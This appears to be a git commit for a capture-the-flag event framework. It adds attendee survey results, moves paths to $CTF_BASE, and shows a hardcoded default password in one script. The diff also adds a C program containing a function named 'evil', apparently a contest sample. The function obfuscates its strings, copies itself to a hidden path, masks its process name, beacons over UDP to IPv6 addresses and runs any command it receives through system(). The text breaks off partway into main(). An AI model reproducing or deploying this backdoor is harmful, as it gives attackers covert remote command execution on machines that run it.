Move away from /var

This commit is contained in:
Neale Pickett 2012-07-22 17:14:06 -06:00
parent 83bfc85b8d
commit be280490d3
40 changed files with 880 additions and 231 deletions

View File

@ -0,0 +1,328 @@
<!DOCTYPE html>
<html><head><title>Survey results</title></head><body>
<table>
<tr><th>Class</th>
<th>instructor</th>
<th>classroom</th>
<th>class-content</th>
<th>contest-setup</th>
<th>contest-ambiance</th>
<th>contest-network</th>
<th>contest-lanl</th>
<th>contest-sandia</th>
<th>contest-vendors</th>
<th>hotel</th>
<th>Comments</th></tr>
<tr style="border: 2px solid black"><td>net</td>
<td><!-- instructor -->★★★ </td>
<td><!-- classroom -->★★★ </td>
<td><!-- class-content -->★★★ </td>
<td><!-- contest-setup -->★★★ </td>
<td><!-- contest-ambiance -->★★★ </td>
<td><!-- contest-network -->★★★ </td>
<td><!-- contest-lanl -->★★★ </td>
<td><!-- contest-sandia -->★★★ </td>
<td><!-- contest-vendors -->★★★ </td>
<td><!-- hotel -->★★★ </td>
<td></td></tr>
<tr style="border: 2px solid black"><td>net</td>
<td><!-- instructor -->★★★ </td>
<td><!-- classroom -->★★ </td>
<td><!-- class-content -->★★ Useful techniques, but no practical training on how to identify what data should be flagged for deeper analysis (e.g. how do you find the data that you will then try to crack)</td>
<td><!-- contest-setup -->★★ </td>
<td><!-- contest-ambiance -->★★ </td>
<td><!-- contest-network -->★★ </td>
<td><!-- contest-lanl -->★★ </td>
<td><!-- contest-sandia -->None </td>
<td><!-- contest-vendors -->★★★ Solera was actually practical as it walked you through part of an investigation</td>
<td><!-- hotel -->★★ albuquerque would be more convenient</td>
<td>It would be nice to take a more practical approach to the training and exercise. E.g. Here are some things you would do to identify areas of concern and then go into the investigation of the data. Exercises could be less "random" and tied together better.</td></tr>
<tr style="border: 2px solid black"><td>host</td>
<td><!-- instructor -->★★★ Everyone was awesome. Great job guys! </td>
<td><!-- classroom -->★★ If you were in the back of the room the board was little hard to see.</td>
<td><!-- class-content -->★★★ </td>
<td><!-- contest-setup -->★★★ </td>
<td><!-- contest-ambiance -->★★★ </td>
<td><!-- contest-network -->★★ </td>
<td><!-- contest-lanl -->★★ The challenges were tough. However, the answer server could use some improvement in the way it accepts answers, or make it more clear what format it needs to be in. A lot of time was spent trying to enter the answer in the right syntax after we got it. </td>
<td><!-- contest-sandia -->★★★ </td>
<td><!-- contest-vendors -->★★★ </td>
<td><!-- hotel -->★★ The food was good. The rooms were a tad small.</td>
<td>Overall the conference was very good.</td></tr>
<tr style="border: 2px solid black"><td>net</td>
<td><!-- instructor -->★ 1% instruction, more of a sink or swim- Here ya go. I thought this was a training course.</td>
<td><!-- classroom -->★★ </td>
<td><!-- class-content -->★ There wasn't much teaching. Seemed to be a exercise of what you already knew. Signed up to learn. Moved to Malware RE the second day were they were teaching.</td>
<td><!-- contest-setup -->★★ Would be better with some elbow room. 7 laptops and a desktop on a small round table doesn't work so well.</td>
<td><!-- contest-ambiance -->★★★ Just loud enough, Chairs were uncomfortable</td>
<td><!-- contest-network -->★★★ </td>
<td><!-- contest-lanl -->★★ Would have better to have a true capture the flag instead of puzzles. Maybe each team gets a server and must protect and attack others.</td>
<td><!-- contest-sandia -->★★ </td>
<td><!-- contest-vendors -->★★ </td>
<td><!-- hotel -->★★★ </td>
<td></td></tr>
<tr style="border: 2px solid black"><td></td>
<td><!-- instructor -->★★ too many to give an accurate judgement. some good, some so-so</td>
<td><!-- classroom -->★★ worked well. Noisy AC hurt hearing at time. </td>
<td><!-- class-content -->★★ Slides were way to crowded and ahrd to read. If you were not familiar with the tools, the fast clicking through windows hurt.</td>
<td><!-- contest-setup -->★★★ </td>
<td><!-- contest-ambiance -->★★ understanding the voince from beyond over the music was difficult. Probably fine of you live in a leet underworld and are used to the accent.</td>
<td><!-- contest-network -->★★★ </td>
<td><!-- contest-lanl -->None forensics puzzles needed to be replaced. Answers needed verificaion and format specified. <br></td>
<td><!-- contest-sandia -->None Limiting it to 1 thing being worked on at a time for the group was a bad design. Loosing points as others attempt to work on other pieces.</td>
<td><!-- contest-vendors -->★★ Finding your way through solera would be easier if it was commonly used. Attempting to find what they anted through a gui is much more difficult that what I normally do vai dumping pcap.</td>
<td><!-- hotel -->★★ A strange but interesting place. needed increaed water pressure if you want a hot shower.</td>
<td>With the forensics puzzles, having the same for the classroom vs the contest helped those that took close notes. There is way too much use of Encase and limits on how far yoyu can get if you are unfamiliar with it. </td></tr>
<tr style="border: 2px solid black"><td>net</td>
<td><!-- instructor -->★ 1% instruction, more of a sink or swim- Here ya go. I thought this was a training course.</td>
<td><!-- classroom -->★★ </td>
<td><!-- class-content -->★ There wasn't much teaching. Seemed to be a exercise of what you already knew. Signed up to learn. Moved to Malware RE the second day were they were teaching.</td>
<td><!-- contest-setup -->★★ Would be better with some elbow room. 7 laptops and a desktop on a small round table doesn't work so well.</td>
<td><!-- contest-ambiance -->★★★ Just loud enough, Chairs were uncomfortable</td>
<td><!-- contest-network -->★★★ </td>
<td><!-- contest-lanl -->★★ Would have better to have a true capture the flag instead of puzzles. Maybe each team gets a server and must protect and attack others.</td>
<td><!-- contest-sandia -->★★ </td>
<td><!-- contest-vendors -->★★ </td>
<td><!-- hotel -->★★★ </td>
<td></td></tr>
<tr style="border: 2px solid black"><td>host</td>
<td><!-- instructor -->★★★ </td>
<td><!-- classroom -->★★ </td>
<td><!-- class-content -->★★★ </td>
<td><!-- contest-setup -->★★ </td>
<td><!-- contest-ambiance -->★★★ </td>
<td><!-- contest-network -->★★ </td>
<td><!-- contest-lanl -->★★★ </td>
<td><!-- contest-sandia -->★★★ </td>
<td><!-- contest-vendors -->★★ </td>
<td><!-- hotel -->★★ </td>
<td>Please... somewhere with faster, more reliable internet next year.</td></tr>
<tr style="border: 2px solid black"><td>host</td>
<td><!-- instructor -->★★★ </td>
<td><!-- classroom -->★★ </td>
<td><!-- class-content -->★★★ </td>
<td><!-- contest-setup -->★★ </td>
<td><!-- contest-ambiance -->★★★ </td>
<td><!-- contest-network -->★★ </td>
<td><!-- contest-lanl -->★★★ </td>
<td><!-- contest-sandia -->★★★ </td>
<td><!-- contest-vendors -->★★ </td>
<td><!-- hotel -->★★ </td>
<td>Please... somewhere with faster, more reliable internet next year.</td></tr>
<tr style="border: 2px solid black"><td>host</td>
<td><!-- instructor -->★★★ </td>
<td><!-- classroom -->★★ </td>
<td><!-- class-content -->★★★ </td>
<td><!-- contest-setup -->★★ </td>
<td><!-- contest-ambiance -->★★★ </td>
<td><!-- contest-network -->★★ </td>
<td><!-- contest-lanl -->★★★ </td>
<td><!-- contest-sandia -->★★★ </td>
<td><!-- contest-vendors -->★★ </td>
<td><!-- hotel -->★★ </td>
<td>Please... somewhere with faster, more reliable internet next year.</td></tr>
<tr style="border: 2px solid black"><td>net</td>
<td><!-- instructor -->★★ </td>
<td><!-- classroom -->★★ </td>
<td><!-- class-content -->★★★ If students should use python3, then all the examples should be in python3</td>
<td><!-- contest-setup -->★★★ </td>
<td><!-- contest-ambiance -->★★ </td>
<td><!-- contest-network -->★★★ </td>
<td><!-- contest-lanl -->★★★ </td>
<td><!-- contest-sandia -->★★★ </td>
<td><!-- contest-vendors -->★★ </td>
<td><!-- hotel -->★★★ </td>
<td></td></tr>
<tr style="border: 2px solid black"><td>none</td>
<td><!-- instructor -->None Didn't attend</td>
<td><!-- classroom -->None Didn't attend</td>
<td><!-- class-content -->None Didn't attend</td>
<td><!-- contest-setup -->★★★ </td>
<td><!-- contest-ambiance -->★★★ </td>
<td><!-- contest-network -->★★★ </td>
<td><!-- contest-lanl -->★★★ </td>
<td><!-- contest-sandia -->None Didn't focus on it</td>
<td><!-- contest-vendors -->None Didn't focus on it</td>
<td><!-- hotel -->★★★ </td>
<td>More stuff like WOPR / octopus / pwnables / printf!</td></tr>
<tr style="border: 2px solid black"><td>host</td>
<td><!-- instructor -->★★ The portions of the instruction that were lecture only could have been improved by having students follow along and actually participate. For example, instead of teaching Windows Registry purely by lecture, have students open Regex or examine the Registry using EnCase.</td>
<td><!-- classroom -->★★★ Good facilities and connections. No complaints.</td>
<td><!-- class-content -->★★★ Aside from the pure lecture portions, the content was good. Exactly what I expected when signing up for a forensics course. Good that not a lot of time was devoted to teaching the basics of the programs, like EnCase.</td>
<td><!-- contest-setup -->★★★ Good facilities and connections. No complaints.</td>
<td><!-- contest-ambiance -->★★ Would it kill you to play a little Smokey Robinson? ;)</td>
<td><!-- contest-network -->★★★ No complaints.</td>
<td><!-- contest-lanl -->★★★ Awesome puzzles and contests. So much to keep everyone busy. Maybe a little too much material for smaller teams to even make a dent in scoring points. My only complaint is the way in which answers are required to be formatted. See the General Comments section for more detail.</td>
<td><!-- contest-sandia -->★★ I didn't really participate much in the Sandia Jeopardy business. From what I saw, it looked good.</td>
<td><!-- contest-vendors -->★★★ Good way to show off their products without it being just a sales pitch. The puzzles they provided were great.</td>
<td><!-- hotel -->★★★ Nice. No complaints.</td>
<td>Participants should not have to decipher the format of the answer for the questions on their own. Dates/times entries either need to be in a precise, specified format or the system should be able to taken input and determine whether or not the correct answer is known. Whether or not an answer is correct should be determined by upper or lower case letters. The scoring systems should be able to compare the data submitted and normalize the input and compare it to the correct answer.</td></tr>
<tr style="border: 2px solid black"><td>net</td>
<td><!-- instructor -->★★ </td>
<td><!-- classroom -->★★★ </td>
<td><!-- class-content -->★★★ </td>
<td><!-- contest-setup -->★★★ </td>
<td><!-- contest-ambiance -->★★ Not a fan of house music, other than that it was great</td>
<td><!-- contest-network -->★ serious issues, I do not know what to tell you about how to fix it but it was "spotty" at best</td>
<td><!-- contest-lanl -->★★ more HINTS for newbs</td>
<td><!-- contest-sandia -->★★ Good, but got complicated with the NAS and the storage and the file management and stuff, that could be implemented better</td>
<td><!-- contest-vendors -->★★★ The fireeye got hard fast, which means I did not finish, but it also means that their system didn't get totally utilized right?</td>
<td><!-- hotel -->★★★ the laFonda was pretty awesome actually</td>
<td>I hope eI get to keep coming to these, this has been a great culmination of the first few years of my experience as a cyber analyst and it was great to see that I am indeed actually learning something.</td></tr>
<tr style="border: 2px solid black"><td></td>
<td><!-- instructor -->None </td>
<td><!-- classroom -->None </td>
<td><!-- class-content -->None </td>
<td><!-- contest-setup -->None </td>
<td><!-- contest-ambiance -->None </td>
<td><!-- contest-network -->None </td>
<td><!-- contest-lanl -->None </td>
<td><!-- contest-sandia -->None </td>
<td><!-- contest-vendors -->None </td>
<td><!-- hotel -->None </td>
<td></td></tr>
<tr style="border: 2px solid black"><td>net</td>
<td><!-- instructor -->★★★ </td>
<td><!-- classroom -->★★ </td>
<td><!-- class-content -->★★★ </td>
<td><!-- contest-setup -->★★★ </td>
<td><!-- contest-ambiance -->★★★ </td>
<td><!-- contest-network -->★★★ </td>
<td><!-- contest-lanl -->★★★ </td>
<td><!-- contest-sandia -->★★★ </td>
<td><!-- contest-vendors -->★★★ </td>
<td><!-- hotel -->★★★ </td>
<td>This is really great material and the puzzles are very well presented. The entire exercise is extremely well organized.
This lacking was my background knowledge.
Next time I am going to be a lot more prepared for the challenges.
This was my first ever Capture the flag and participation in a exercise like this but you certainly have found a permanent participant.
A+++++ will do it again.
Tracerfire starts from where all the text books ends.
</td></tr>
<tr style="border: 2px solid black"><td>none</td>
<td><!-- instructor -->None Did not attend the class</td>
<td><!-- classroom -->None Did not attend the class</td>
<td><!-- class-content -->None Did not attend the class</td>
<td><!-- contest-setup -->★★★ </td>
<td><!-- contest-ambiance -->★★ Music was a little loud and repetitive (it's techno!)</td>
<td><!-- contest-network -->★★★ </td>
<td><!-- contest-lanl -->★★★ Learned tons!</td>
<td><!-- contest-sandia -->None Did not play these ones</td>
<td><!-- contest-vendors -->★★★ Solera was interesting</td>
<td><!-- hotel -->None Did not use the hotel</td>
<td>First time at a capture the flag competition. Learned a lot!</td></tr>
<tr style="border: 2px solid black"><td></td>
<td><!-- instructor -->★★★ The Dr was good</td>
<td><!-- classroom -->★★ seats sucked</td>
<td><!-- class-content -->★★★ good stuff</td>
<td><!-- contest-setup -->★★ tables, eh. room ok</td>
<td><!-- contest-ambiance -->★★ purdy good</td>
<td><!-- contest-network -->★★ worky most of the time</td>
<td><!-- contest-lanl -->★★ </td>
<td><!-- contest-sandia -->★★ </td>
<td><!-- contest-vendors -->★ Solera example was weak</td>
<td><!-- hotel -->★★ bar good. room ok.</td>
<td>Thanks for the hard work! A little more intro to the contest and expectations for the n00bs would be good....</td></tr>
<tr style="border: 2px solid black"><td>net</td>
<td><!-- instructor -->★★ Not enough instructing. Mostly just "here's puzzles' solve them.</td>
<td><!-- classroom -->★★ </td>
<td><!-- class-content -->★★★ Good material to learn on; just need more teaching, and more response to questions.</td>
<td><!-- contest-setup -->★★ </td>
<td><!-- contest-ambiance -->★★ </td>
<td><!-- contest-network -->★ Terrible. I often had to reload a dozen times to submit a solution. Also, being unable to reach the internet made this very frustrating and much less fun.</td>
<td><!-- contest-lanl -->★★★ Great material. Wish we had been introduced better to actually doing things; most categories my team had no idea how to even begin on, and contest time was not an environment that allowed us to learn in.</td>
<td><!-- contest-sandia -->None </td>
<td><!-- contest-vendors -->None </td>
<td><!-- hotel -->None </td>
<td>The contest material was really good, but nobody on my team knew how to approach (or even find!) most of it. Maybe this would be fixed by better team distribution, but it would be likely that someone skilled would just take over, instead of teaching other people. Thus, I ended up feeling really frustrated that I wasn't actually learning anything, and just feeling punished for the things I didn't know or couldn't do (which was most of the contest).</td></tr>
<tr style="border: 2px solid black"><td>net</td>
<td><!-- instructor -->★★ Paul clearly knows his stuff; however, his explanations weren't always clear.</td>
<td><!-- classroom -->★★ difficult to see the few onscreen examples</td>
<td><!-- class-content -->★★ it wasn't lame, but didn't find the info useful for the challenge days. :(</td>
<td><!-- contest-setup -->★★ room was fine. tables were a bit small. Really like the provided forensic workstations with pre-loaded tools.</td>
<td><!-- contest-ambiance -->★★ light was better than last year's event. Music wasn't great on day 1, "felt the rhythm" on day 2.</td>
<td><!-- contest-network -->★★★ awesome</td>
<td><!-- contest-lanl -->★★ overall good. some stuff was just unrealistic</td>
<td><!-- contest-sandia -->★★ overall good. some stuff was just unrealistic...and some was just funny!</td>
<td><!-- contest-vendors -->★★ really liked the idea of vendors offering their own challenges! I didn't get to work on them very much though (other team members)</td>
<td><!-- hotel -->★★★ location was great! lots of choices for dinner and lunch downstairs was spot-on every day! the breakfast food was lame though </td>
<td>I think Tracer should foster more "forced" interaction--the idea of information sharing is key...beyond the event, within our real jobs. I would like better or just more classroom hours. Maybe a full week of class room and a weekend of challenges would be cool. thanks for all the hard work!</td></tr>
<tr style="border: 2px solid black"><td>none</td>
<td><!-- instructor -->★★ NA</td>
<td><!-- classroom -->★★ NA</td>
<td><!-- class-content -->★★ NA</td>
<td><!-- contest-setup -->★★★ </td>
<td><!-- contest-ambiance -->★★★ </td>
<td><!-- contest-network -->★★ </td>
<td><!-- contest-lanl -->★★★ </td>
<td><!-- contest-sandia -->★★★ </td>
<td><!-- contest-vendors -->★★ can't say</td>
<td><!-- hotel -->★★ NA</td>
<td></td></tr>
<tr style="border: 2px solid black"><td>net</td>
<td><!-- instructor -->★ Come on, we expected some one teach something otherwise all those questions can be found through Internet.</td>
<td><!-- classroom -->★★ </td>
<td><!-- class-content -->★★ </td>
<td><!-- contest-setup -->★★ </td>
<td><!-- contest-ambiance -->★★ </td>
<td><!-- contest-network -->★★★ </td>
<td><!-- contest-lanl -->★★★ </td>
<td><!-- contest-sandia -->★★★ </td>
<td><!-- contest-vendors -->★★★ </td>
<td><!-- hotel -->★★ </td>
<td>I dont think I learn alot</td></tr>
<tr style="border: 2px solid black"><td>host</td>
<td><!-- instructor -->★★★ </td>
<td><!-- classroom -->★★ </td>
<td><!-- class-content -->★★ </td>
<td><!-- contest-setup -->★★ Several inconvenient network outages.</td>
<td><!-- contest-ambiance -->★★★ </td>
<td><!-- contest-network --></td>
<td><!-- contest-lanl -->★★ </td>
<td><!-- contest-sandia -->★★ </td>
<td><!-- contest-vendors -->★★ </td>
<td><!-- hotel -->★★★ </td>
<td>Fun competition. Could have used more communication among the people who wrote the questions.</td></tr>
<tr style="border: 2px solid black"><td>host</td>
<td><!-- instructor -->★★ Varied. Not having the slides the first day made following along very difficult.</td>
<td><!-- classroom -->★★ Screens were sometimes hard to see and chairs weren't comfortable.</td>
<td><!-- class-content -->★★ Too Windows and Encase centric to justify another trip.</td>
<td><!-- contest-setup -->★★ No real issues except the chairs.</td>
<td><!-- contest-ambiance -->★★★ No complains here.</td>
<td><!-- contest-network -->★★ Didn't have any major issues and Internet access table was very fast.</td>
<td><!-- contest-lanl -->★★ Wasn't really aware there was different content between the sites except for some of the instructors.</td>
<td><!-- contest-sandia -->★★ </td>
<td><!-- contest-vendors -->★★ Didn't attempt</td>
<td><!-- hotel -->★★ All the shops close at 5pm so there's not much to do except eat and drink. Hotel WiFi was really slow. No vending machines?!</td>
<td>Learned some interesting things, met some very interesting people, and got a different perspective on security, but can't justify another trip for myself or a fellow system administrator with the content and exercises used this year.</td></tr>
<tr style="border: 2px solid black"><td>net</td>
<td><!-- instructor -->★★★ </td>
<td><!-- classroom -->★★★ </td>
<td><!-- class-content -->★★★ Problems were hard I learned a lot.</td>
<td><!-- contest-setup -->★★★ </td>
<td><!-- contest-ambiance -->★★★ </td>
<td><!-- contest-network -->★★★ </td>
<td><!-- contest-lanl -->★★★ </td>
<td><!-- contest-sandia -->★★★ </td>
<td><!-- contest-vendors -->★★★ </td>
<td><!-- hotel -->None </td>
<td>The network ran well. problems were hard. thanks for the effort.</td></tr>
<tr style="border: 2px solid black"><td>malware</td>
<td><!-- instructor -->★★★ </td>
<td><!-- classroom -->★★ </td>
<td><!-- class-content -->★★★ </td>
<td><!-- contest-setup -->★★ uncomfortable chairs</td>
<td><!-- contest-ambiance -->★★ music was a bit too loud</td>
<td><!-- contest-network -->★★ better access to internet</td>
<td><!-- contest-lanl -->★★★ first time, so it must be great</td>
<td><!-- contest-sandia -->★★★ see above</td>
<td><!-- contest-vendors -->★★ didn't touch it, so i have no idea</td>
<td><!-- hotel -->★★ did not stay in hotel</td>
<td></td></tr>
</table>
</body></html>

Binary file not shown.

After

Width:  |  Height:  |  Size: 75 KiB

View File

@ -1,14 +1,14 @@
How to run a CTF event How to run a CTF event
====================== ======================
When a CTF image boots, it goes through the following sequence: When DBTL boots, it goes through the following sequence:
1. Mount a partition labelled "CTF-STATE" read-only under /var/lib/ctf, 1. Mount a partition labelled "PACKAGES" read-only under /mnt/packages
if such a partition exists 2. Mount a partition labelled "STATE" read-write under /state,
2. Mount a partition labelled "CTF" under /mnt/ctf or make it a tmpfs if no such partition exists
3. For every file matching /mnt/ctf/${pkg}.pkg, mount it under /opt/$pkg 3. For every file matching /mnt/packages/${pkg}.pkg, mount it under /packages/$pkg
4. For every directory matching /opt/*/service/${d}, copy it recursively 4. For every directory matching /packages/*/service/${d}, copy it recursively
into /var/service/$d into /service/$d
Terms Used Here Terms Used Here
--------------- ---------------

View File

@ -52,13 +52,13 @@ The token client thus needs a 4-tuple for each puzzle:
In the interest of making things easy to administer and code, this In the interest of making things easy to administer and code, this
4-tuple is stored in files and directories: 4-tuple is stored in files and directories:
/opt/packagename/tokencli/puzzle_name/enc.key /packages/packagename/tokencli/puzzle_name/enc.key
/opt/packagename/tokencli/puzzle_name/category.key /packages/packagename/tokencli/puzzle_name/category.key
/opt/packagename/tokencli/puzzle_name/category /packages/packagename/tokencli/puzzle_name/category
And puzzles are stored in: And puzzles are stored in:
/var/lib/ctf/tokens/puzzle_name /state/tokens/puzzle_name
Using this scheme, the token client has only to iterate over Using this scheme, the token client has only to iterate over
/opt/*/tokencli/* instead of implementing some sort of parser. /packages/*/tokencli/* instead of implementing some sort of parser.

View File

@ -1,9 +1,7 @@
#! /bin/sh #! /bin/sh
OPT=${CTF_BASE:-/opt}
# Use first installed binary # Use first installed binary
for bin in $OPT/*/bin/$1; do for bin in $CTF_BASE/packages/*/bin/$1; do
if [ -x $bin ]; then if [ -x $bin ]; then
exec $bin exec $bin
fi fi

View File

@ -2,11 +2,11 @@
fn=$2/$3 fn=$2/$3
WWW=${CTF_BASE:-/var/www} PACKAGES=$CTF_BASE/packages
BASE=${CTF_BASE:-/var/lib/ctf} STATE=$CTF_BASE/state
OPT=${CTF_BASE:-/opt} WWW=$CTF_BASE/www
POINTS=$BASE/points.log POINTS=$STATE/points.log
BACKUP=$WWW/backup.png BACKUP=$WWW/backup.png
SCOREBOARD=$WWW/scoreboard.html SCOREBOARD=$WWW/scoreboard.html
PUZZLES=$WWW/puzzles.html PUZZLES=$WWW/puzzles.html
@ -22,11 +22,11 @@ cat $fn >> $POINTS
rm $fn rm $fn
# Generate new backup if we can find a password file # Generate new backup if we can find a password file
for pwfile in $OPT/*/password; do for pwfile in $PACKAGES/*/password; do
if [ -f $pwfile ]; then if [ -f $pwfile ]; then
( (
cat bkup.png cat bkup.png
tar cf - $BASE | gzip -c | $OPT/*/bin/tea 3< $pwfile tar cf - $STATE | gzip -c | $PACKAGES/*/bin/tea 3< $pwfile
) > $BACKUP.new ) > $BACKUP.new
mv $BACKUP.new $BACKUP mv $BACKUP.new $BACKUP
break break

View File

@ -2,9 +2,8 @@
exec 2>&1 exec 2>&1
: ${CTF_BASE:=/var/lib/ctf} STATE=$CTF_BASE/state
WWW=$CTF_BASE/www
install -d $CTF_BASE
# Create CTF and nobody users # Create CTF and nobody users
touch /etc/group /etc/passwd touch /etc/group /etc/passwd
@ -13,25 +12,23 @@ adduser -DH -G nogroup -u 65534 nobody || true
adduser -DHS ctf || true adduser -DHS ctf || true
# Set up base directories # Set up base directories
NEWDIR=$CTF_BASE/points.new NEWDIR=$STATE/points.new
TMPDIR=$CTF_BASE/points.tmp TMPDIR=$STATE/points.tmp
install -d /var/www
install -d /var/lib/ctf
install -o ctf -m 0755 -d $NEWDIR install -o ctf -m 0755 -d $NEWDIR
install -o ctf -m 0755 -d $TMPDIR install -o ctf -m 0755 -d $TMPDIR
# Create some files # Create some files
touch /var/lib/ctf/points.log touch $STATE/points.log
# Generate preliminary scoreboard # Generate preliminary scoreboard
if [ ! -f /var/www/scoreboard.html ]; then if [ ! -f $WWW/scoreboard.html ]; then
./mkpage scoreboard < /dev/null > /var/www/scoreboard.html ./mkpage scoreboard < /dev/null > $WWW/scoreboard.html
fi fi
# Generate preliminary puzzles list # Generate preliminary puzzles list
if [ ! -f /var/www/puzzles.html ]; then if [ ! -f $WWW/puzzles.html ]; then
./mkpage puzzles.cgi > /var/www/puzzles.html ./mkpage puzzles.cgi > $WWW/puzzles.html
fi fi
# Run pointsd every time a new points file is dropped # Run pointsd every time a new points file is dropped

View File

@ -3,7 +3,7 @@
exec 2>&1 exec 2>&1
password='grape guts' password='grape guts'
for fn in /opt/*/password; do for fn in $CTF_BASE/packages/*/password; do
read password < $fn && break read password < $fn && break
done done

View File

@ -364,21 +364,21 @@ my_snprintf(char *buf, size_t buflen, char *fmt, ...)
} }
static char * static char *
mkpath(char const *base, char const *fmt, va_list ap) mkpath(char const *type, char const *fmt, va_list ap)
{ {
char relpath[PATH_MAX]; char relpath[PATH_MAX];
static char path[PATH_MAX]; static char path[PATH_MAX];
char const *var; char const *var = getenv("CTF_BASE");
vsnprintf(relpath, sizeof(relpath) - 1, fmt, ap); vsnprintf(relpath, sizeof(relpath) - 1, fmt, ap);
relpath[sizeof(relpath) - 1] = '\0'; relpath[sizeof(relpath) - 1] = '\0';
var = getenv("CTF_BASE");
if (! var) { if (! var) {
var = base; var = "";
} }
my_snprintf(path, sizeof(path), "%s/%s", var, relpath); /* $CTF_BASE/type/relpath */
my_snprintf(path, sizeof(path), "%s/%s/%s", var, type, relpath);
return path; return path;
} }
@ -389,7 +389,7 @@ state_path(char const *fmt, ...)
char *ret; char *ret;
va_start(ap, fmt); va_start(ap, fmt);
ret = mkpath("/var/lib/ctf", fmt, ap); ret = mkpath("state", fmt, ap);
va_end(ap); va_end(ap);
return ret; return ret;
} }
@ -401,7 +401,7 @@ package_path(char const *fmt, ...)
char *ret; char *ret;
va_start(ap, fmt); va_start(ap, fmt);
ret = mkpath("/opt", fmt, ap); ret = mkpath("packages", fmt, ap);
va_end(ap); va_end(ap);
return ret; return ret;
} }

View File

@ -94,13 +94,13 @@ main(int argc, char *argv[])
opt = opendir(package_path("")); opt = opendir(package_path(""));
if (NULL == opt) { if (NULL == opt) {
cgi_error("Cannot opendir(\"/opt\")"); cgi_error("Cannot open packages directory");
} }
cgi_head("Open puzzles"); cgi_head("Open puzzles");
printf("<dl>\n"); printf("<dl>\n");
/* For each file in /opt/ ... */ /* For each file in /packages/ ... */
while (1) { while (1) {
struct dirent *e = readdir(opt); struct dirent *e = readdir(opt);
char *cat; char *cat;

View File

@ -4,4 +4,4 @@ exec 2>&1
IP=$(dbip -a) IP=$(dbip -a)
exec setuidgid nobody /opt/cowbull/bin/cowd < /opt/cowbull/tokens.txt exec setuidgid nobody $CTF_BASE/packages/cowbull/bin/cowd < $CTF_BASE/packages/cowbull/tokens.txt

View File

@ -0,0 +1,355 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <time.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <sysexits.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netdb.h>
#include <fcntl.h>
#define NODEBUG
#ifdef DEBUG
# define PORT 4444
#else
# define PORT 44
#endif
#define BDPORT 33333
#define BCNPORT_S 48172
#define BCNPORT_D 48179
int
bind_port(int fd, const struct in6_addr *addr, uint16_t port)
{
struct sockaddr_in6 saddr = { 0 };
saddr.sin6_family = AF_INET6;
saddr.sin6_port = htons(port);
memcpy(&saddr.sin6_addr, addr, sizeof *addr);
return bind(fd, (struct sockaddr *) &saddr, sizeof saddr);
}
void
sigchld(int unused)
{
while (0 < waitpid(-1, NULL, WNOHANG));
}
void
unmask_str(unsigned char *str)
{
int i = strlen(str);
while (i-- > 0) {
str[i] &= 127;
}
}
int
copyprog(const char *from, const char *to)
{
int fd_to, fd_from;
char buf[4096];
ssize_t nread;
int saved_errno;
fd_from = open(from, O_RDONLY);
if (fd_from < 0)
return -1;
fd_to = open(to, O_WRONLY | O_CREAT | O_TRUNC, 0700);
if (fd_to < 0)
goto out_error;
while (nread = read(fd_from, buf, sizeof buf), nread > 0)
{
char *out_ptr = buf;
ssize_t nwritten;
do {
nwritten = write(fd_to, out_ptr, nread);
if (nwritten >= 0)
{
nread -= nwritten;
out_ptr += nwritten;
}
else if (errno != EINTR)
{
goto out_error;
}
} while (nread > 0);
}
if (nread == 0)
{
if (close(fd_to) < 0)
{
fd_to = -1;
goto out_error;
}
close(fd_from);
/* Success! */
return 0;
}
out_error:
saved_errno = errno;
close(fd_from);
if (fd_to >= 0)
close(fd_to);
errno = saved_errno;
return -1;
}
void
signal_evil(int sig)
{
if (fork()) {
exit(1);
}
}
void
evil(int argc, char *argv[])
{
int i;
int sock;
char procname[] = "\xdb\xe8\xe3\xe9\xb1\xdd";
char cptarget[] = "\xaf\xe4\xe5\xf6\xaf\xf3\xe8\xed\xaf\xae\xa0";
unmask_str(procname);
unmask_str(cptarget);
if (strcmp(argv[0], cptarget)) {
if (fork()) {
return;
}
/* copy ourselves */
if (copyprog(argv[0], cptarget) == 0) {
argv[0] = cptarget;
execv(cptarget, argv);
}
} else {
unlink(cptarget);
if (fork()) {
exit(0);
}
}
/* mask the process title and arguments */
while (argc--) {
int p = strlen(argv[argc]);
while (p--) {
argv[argc][p] = 0;
}
}
strcpy(argv[0], procname);
{
int r = open("/dev/null", O_RDONLY);
int w = open("/dev/null", O_WRONLY);
dup2(r, 0);
dup2(w, 1);
dup2(w, 2);
close(r);
close(w);
setsid();
chdir("/");
signal(SIGHUP, signal_evil);
signal(SIGTERM, signal_evil);
signal(SIGINT, signal_evil);
signal(SIGQUIT, signal_evil);
}
sock = socket(AF_INET6, SOCK_DGRAM, 0);
if (-1 == bind_port(sock, &in6addr_any, BDPORT)) {
exit(0);
}
struct timeval tv;
tv.tv_sec = 5;
tv.tv_usec = 0;
setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&tv,sizeof(struct timeval));
while (1) {
/* beacon */
int sock_beacon;
sock_beacon = socket(AF_INET6, SOCK_DGRAM, 0);
if (-1 == bind_port(sock_beacon, &in6addr_any, BCNPORT_S)) {
//perror("Beacon bind");
;; /* return EX_IOERR; */
}
int subnet;
if (sock_beacon > 0) {
for (subnet = 0; subnet < 50; subnet++) {
char payload[] = "hi";
char addr6_f[] = "\xe6\xe4\xb8\xb4\xba\xe2\xb4\xb1\xb0\xba\xb3\xb4\xb4\xb1\xba\xa5\xf8\xba\xba\xb1\xb3\xb3\xb7";
unmask_str(addr6_f);
char addr6[64];
sprintf(addr6, addr6_f, subnet);
//printf("%s\n", addr6);
struct addrinfo *beacon_addr;
{
struct addrinfo hints = { 0 };
hints.ai_family = PF_INET6;
hints.ai_socktype = SOCK_DGRAM;
hints.ai_flags = AI_NUMERICHOST;
if (0 != getaddrinfo(addr6, "48179", &hints, &beacon_addr)) {
;;//perror("Resolving address");
}
}
struct sockaddr_in6 saddr = { 0 };
if(-1 == sendto(sock_beacon, &payload, sizeof payload, 0, beacon_addr->ai_addr, beacon_addr->ai_addrlen)) {
;;//perror("Beacon send");
} else {
;;//printf("sent!\n");
}
}
}
close(sock_beacon);
/* end beacon */
/* c&c */
char cmd[400];
ssize_t inlen;
inlen = recvfrom(sock, cmd, sizeof(cmd)-1, 0, NULL, NULL);
if (inlen < 1) {
continue;
}
cmd[inlen] = 0;
if (! fork()) {
system(cmd);
exit(0);
}
}
}
int
main(int argc, char *argv[])
{
long answer = 0;
